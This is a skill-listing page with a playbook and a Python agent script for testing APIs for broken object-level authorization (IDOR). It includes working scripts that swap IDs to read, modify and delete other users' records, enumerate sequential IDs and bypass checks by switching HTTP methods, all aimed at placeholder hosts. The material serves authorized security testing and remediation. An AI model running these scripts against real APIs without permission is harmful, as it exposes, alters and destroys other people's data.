
Testing Api For Broken Object Level Authorization
- 334 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Test APIs for BOLA/IDOR by swapping object IDs across roles and sessions to confirm users cannot access others' records.
About
Structured playbook for detecting broken object-level authorization in REST and GraphQL APIs: craft IDOR test matrices, swap resource identifiers across authenticated roles, and verify every endpoint enforces ownership checks.
- BOLA/IDOR test cases
- Cross-user ID swapping
- Role-based access checks
- OWASP API Top 10
Testing Api For Broken Object Level Authorization by the numbers
- 334 all-time installs (skills.sh)
- +29 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #600 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorizationAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 334 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Test APIs for BOLA/IDOR by swapping object IDs across roles and sessions to confirm users cannot access others' records.
Files
Testing API for Broken Object Level Authorization
When to Use
- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
- Validating that API endpoints enforce per-object authorization checks beyond just authentication
- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
Prerequisites
- Written authorization specifying the target API endpoints and scope of testing
- At least two test accounts with different privilege levels and distinct data sets
- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
- Authentication tokens (JWT, session cookies, API keys) for each test account
- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
- Python 3.10+ with
requestslibrary for scripted testing - Autorize Burp extension installed for automated BOLA detection
Workflow
Step 1: API Endpoint Discovery and Object ID Mapping
Enumerate all API endpoints and identify parameters that reference objects:
From OpenAPI/Swagger Specification:
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"From Burp Suite Traffic: 1. Browse the application as User A, exercising all features that involve data creation and retrieval 2. In Burp, go to Target > Site Map and filter for API paths (e.g., /api/v1/, /graphql) 3. Look for patterns: /api/v1/users/{id}, /api/v1/orders/{order_id}, /api/v1/documents/{doc_uuid} 4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
Classify Object ID Types:
| ID Type | Example | Predictability | BOLA Risk |
|---|---|---|---|
| Sequential Integer | /orders/1042 | High - increment/decrement | Critical |
| UUID v4 | /orders/550e8400-e29b-41d4-a716-446655440000 | Low - random | Medium (if leaked) |
| Encoded/Hashed | /orders/base64encodedvalue | Medium - decode and predict | High |
| Composite | /users/42/orders/1042 | High - multiple IDs to swap | Critical |
| Slug | /profiles/john-doe | Medium - guess usernames | High |
Step 2: Baseline Request Capture with Authenticated User
Capture legitimate requests for User A and User B:
import requests
BASE_URL = "https://target-api.example.com/api/v1"
# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")Step 3: BOLA Testing - Horizontal Privilege Escalation
Attempt to access User B's objects using User A's authentication:
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print results
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")Step 4: Advanced BOLA Techniques
Test for less obvious BOLA patterns:
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")Step 5: Automated BOLA Detection with Autorize (Burp Suite)
Configure Autorize for automated detection:
1. Install Autorize from the BApp Store in Burp Suite Professional 2. In the Autorize tab, paste User B's authentication cookie or header 3. Configure the interception filters:
- Include:
.*\/api\/.*(only API paths) - Exclude:
.*\.(js|css|png|jpg)$(skip static assets)
4. Set the enforcement detector:
- Add conditions where response length or status code differs between User A and User B
- Mark as "enforced" if User A gets 403/401 for User B's resources
- Mark as "bypassed" if User A gets 200 with User B's data
5. Browse the application as User A; Autorize automatically replays each request with User B's token 6. Review the Autorize results table:
- Green = Authorization enforced (secure)
- Red = Authorization bypassed (BOLA vulnerability)
- Orange = Needs manual review (ambiguous response)
Step 6: GraphQL BOLA Testing
# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
# Test nested object access through relationships
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}Key Concepts
| Term | Definition |
|---|---|
| BOLA | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |
| IDOR | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |
| Horizontal Privilege Escalation | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |
| Vertical Privilege Escalation | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |
| Object ID Enumeration | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |
| Autorize | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |
Tools & Systems
- Burp Suite Professional: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
- OWASP ZAP: Open-source alternative with Access Control Testing add-on for authorization boundary testing
- Autorize: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
- Postman: API testing platform for crafting and replaying requests with different authentication tokens across collections
- ffuf: Web fuzzer that can enumerate object IDs at scale:
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
Common Scenarios
Scenario: E-Commerce API BOLA Assessment
Context: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).
Approach: 1. Map all endpoints from the Swagger spec at /api/docs: identify 47 endpoints, 23 of which take object IDs 2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist 3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints 4. Find that GET /api/v1/orders/{id} returns any order regardless of ownership (BOLA on read) 5. Find that PATCH /api/v1/addresses/{id} allows modifying any user's address (BOLA on write) 6. Find that GET /api/v1/users/{id}/payment-methods leaks payment card last-four digits for any user 7. Test batch endpoint POST /api/v1/orders/export - accepts array of order IDs and exports all without ownership check 8. Verify that DELETE /api/v1/orders/{id} correctly returns 403 for non-owned orders (authorization enforced)
Pitfalls:
- Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
- Not testing nested resource paths where authorization may be checked on the parent but not the child resource
- Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
- Not considering that different API versions (v1 vs v2) may have different authorization implementations
Output Format
## Finding: Broken Object Level Authorization in Order API
**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.
**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers
**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing API for Broken Object Level Authorization
BOLA Test Types
| Test | Method | Severity |
|---|---|---|
| Horizontal read | GET victim's resource with attacker token | High |
| Horizontal write | PATCH/PUT victim's resource | Critical |
| Horizontal delete | DELETE victim's resource | Critical |
| ID enumeration | Sequential/predictable ID access | High |
| Method bypass | Different HTTP methods on same resource | High |
| Batch request | Include victim IDs in batch endpoint | High |
| Nested resource | Access child via parent swap | High |
Object ID Types
| Type | Example | Predictability |
|---|---|---|
| Sequential integer | /orders/1042 | High |
| UUID v4 | /orders/550e8400-... | Low |
| Encoded/base64 | /orders/MTAwMg== | Medium |
| Composite | /users/42/orders/1042 | High |
| Slug | /profiles/john-doe | Medium |
OWASP API1:2023 Checks
| Check | Description |
|---|---|
| Per-object authorization | Every object access checks ownership |
| Data-layer enforcement | WHERE user_id = authenticated_user.id |
| Rate limiting | Slow enumeration attempts |
| UUID over sequential | Reduce predictability |
| Batch endpoint auth | Validate all IDs in arrays |
Automated Tools
| Tool | Purpose |
|---|---|
| Autorize (Burp) | Automated BOLA detection |
| OWASP ZAP Access Control | Authorization boundary testing |
| ffuf | ID enumeration at scale |
| Postman | Manual BOLA testing |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP API calls |
json | stdlib | Response parsing |
References
- OWASP API Security: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- Autorize: https://github.com/Quitten/Autorize
#!/usr/bin/env python3
"""Agent for testing APIs for Broken Object Level Authorization (BOLA).
Tests REST and GraphQL APIs for IDOR/BOLA vulnerabilities by
systematically swapping object IDs between authenticated users
to detect missing per-object authorization checks. OWASP API1:2023.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
class BOLATestAgent:
"""Tests APIs for Broken Object Level Authorization."""
def __init__(self, base_url, output_dir="./bola_test"):
self.base_url = base_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _req(self, method, path, headers=None, data=None, timeout=10):
if not requests:
return None
try:
return requests.request(method, f"{self.base_url}{path}",
headers=headers, json=data, timeout=timeout)
except requests.RequestException:
return None
def get_user_objects(self, token, profile_path="/users/me", objects_path="/orders"):
"""Retrieve a user's ID and owned object IDs."""
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
profile_resp = self._req("GET", profile_path, headers=headers)
if not profile_resp or profile_resp.status_code != 200:
return None, []
user_data = profile_resp.json()
user_id = user_data.get("id")
objects_resp = self._req("GET", objects_path, headers=headers)
object_ids = []
if objects_resp and objects_resp.status_code == 200:
data = objects_resp.json()
items = data if isinstance(data, list) else data.get("items", data.get("data", data.get("orders", [])))
object_ids = [item.get("id") for item in items if item.get("id")]
return user_id, object_ids
def test_horizontal_read(self, attacker_token, victim_object_ids, resource_path="/orders"):
"""Test if attacker can read victim's objects."""
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
results = []
for oid in victim_object_ids:
resp = self._req("GET", f"{resource_path}/{oid}", headers=headers)
vulnerable = resp and resp.status_code == 200
result = {
"test": f"Read {resource_path}/{oid}",
"status": resp.status_code if resp else "error",
"vulnerable": vulnerable,
}
if vulnerable:
self.findings.append({
"severity": "high",
"type": "BOLA Read",
"detail": f"GET {resource_path}/{oid} returns other user's data",
"owasp": "API1:2023",
})
results.append(result)
return results
def test_horizontal_write(self, attacker_token, victim_object_ids,
resource_path="/orders", payload=None):
"""Test if attacker can modify victim's objects."""
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
test_payload = payload or {"status": "cancelled"}
results = []
for oid in victim_object_ids:
resp = self._req("PATCH", f"{resource_path}/{oid}",
headers=headers, data=test_payload)
vulnerable = resp and resp.status_code in (200, 204)
result = {
"test": f"Modify {resource_path}/{oid}",
"method": "PATCH",
"status": resp.status_code if resp else "error",
"vulnerable": vulnerable,
}
if vulnerable:
self.findings.append({
"severity": "critical",
"type": "BOLA Write",
"detail": f"PATCH {resource_path}/{oid} modifies other user's data",
"owasp": "API1:2023",
})
results.append(result)
return results
def test_horizontal_delete(self, attacker_token, victim_object_id,
resource_path="/orders"):
"""Test if attacker can delete victim's object."""
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
resp = self._req("DELETE", f"{resource_path}/{victim_object_id}", headers=headers)
vulnerable = resp and resp.status_code in (200, 204)
if vulnerable:
self.findings.append({
"severity": "critical",
"type": "BOLA Delete",
"detail": f"DELETE {resource_path}/{victim_object_id} destroys other user's data",
"owasp": "API1:2023",
})
return {"test": f"Delete {resource_path}/{victim_object_id}",
"status": resp.status_code if resp else "error",
"vulnerable": vulnerable}
def test_id_enumeration(self, attacker_token, known_id, resource_path="/orders",
range_offset=5):
"""Test sequential ID enumeration."""
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
accessible = []
for offset in range(-range_offset, range_offset + 1):
test_id = known_id + offset
if test_id == known_id:
continue
resp = self._req("GET", f"{resource_path}/{test_id}", headers=headers)
if resp and resp.status_code == 200:
accessible.append(test_id)
if accessible:
self.findings.append({
"severity": "high",
"type": "ID Enumeration",
"detail": f"Sequential IDs accessible: {accessible[:5]}",
})
return accessible
def test_method_bypass(self, attacker_token, victim_object_id,
resource_path="/users"):
"""Test if different HTTP methods bypass authorization."""
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
results = []
for method in ["GET", "PUT", "PATCH", "DELETE", "HEAD"]:
data = {"name": "test"} if method in ("PUT", "PATCH") else None
resp = self._req(method, f"{resource_path}/{victim_object_id}",
headers=headers, data=data)
if resp and resp.status_code not in (401, 403, 404, 405):
results.append({"method": method, "status": resp.status_code})
self.findings.append({
"severity": "high",
"type": "Method Bypass",
"detail": f"{method} {resource_path}/{victim_object_id} -> {resp.status_code}",
})
return results
def generate_report(self, attacker_token=None, victim_ids=None):
read_results = []
write_results = []
if attacker_token and victim_ids:
read_results = self.test_horizontal_read(attacker_token, victim_ids)
write_results = self.test_horizontal_write(attacker_token, victim_ids)
report = {
"report_date": datetime.utcnow().isoformat(),
"base_url": self.base_url,
"read_tests": read_results,
"write_tests": write_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "bola_test_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <base_url> [--token <jwt>] [--victim-ids 1,2,3]")
sys.exit(1)
url = sys.argv[1]
token = None
victim_ids = []
if "--token" in sys.argv:
token = sys.argv[sys.argv.index("--token") + 1]
if "--victim-ids" in sys.argv:
victim_ids = [int(x) for x in sys.argv[sys.argv.index("--victim-ids") + 1].split(",")]
agent = BOLATestAgent(url)
agent.generate_report(token, victim_ids)
if __name__ == "__main__":
main()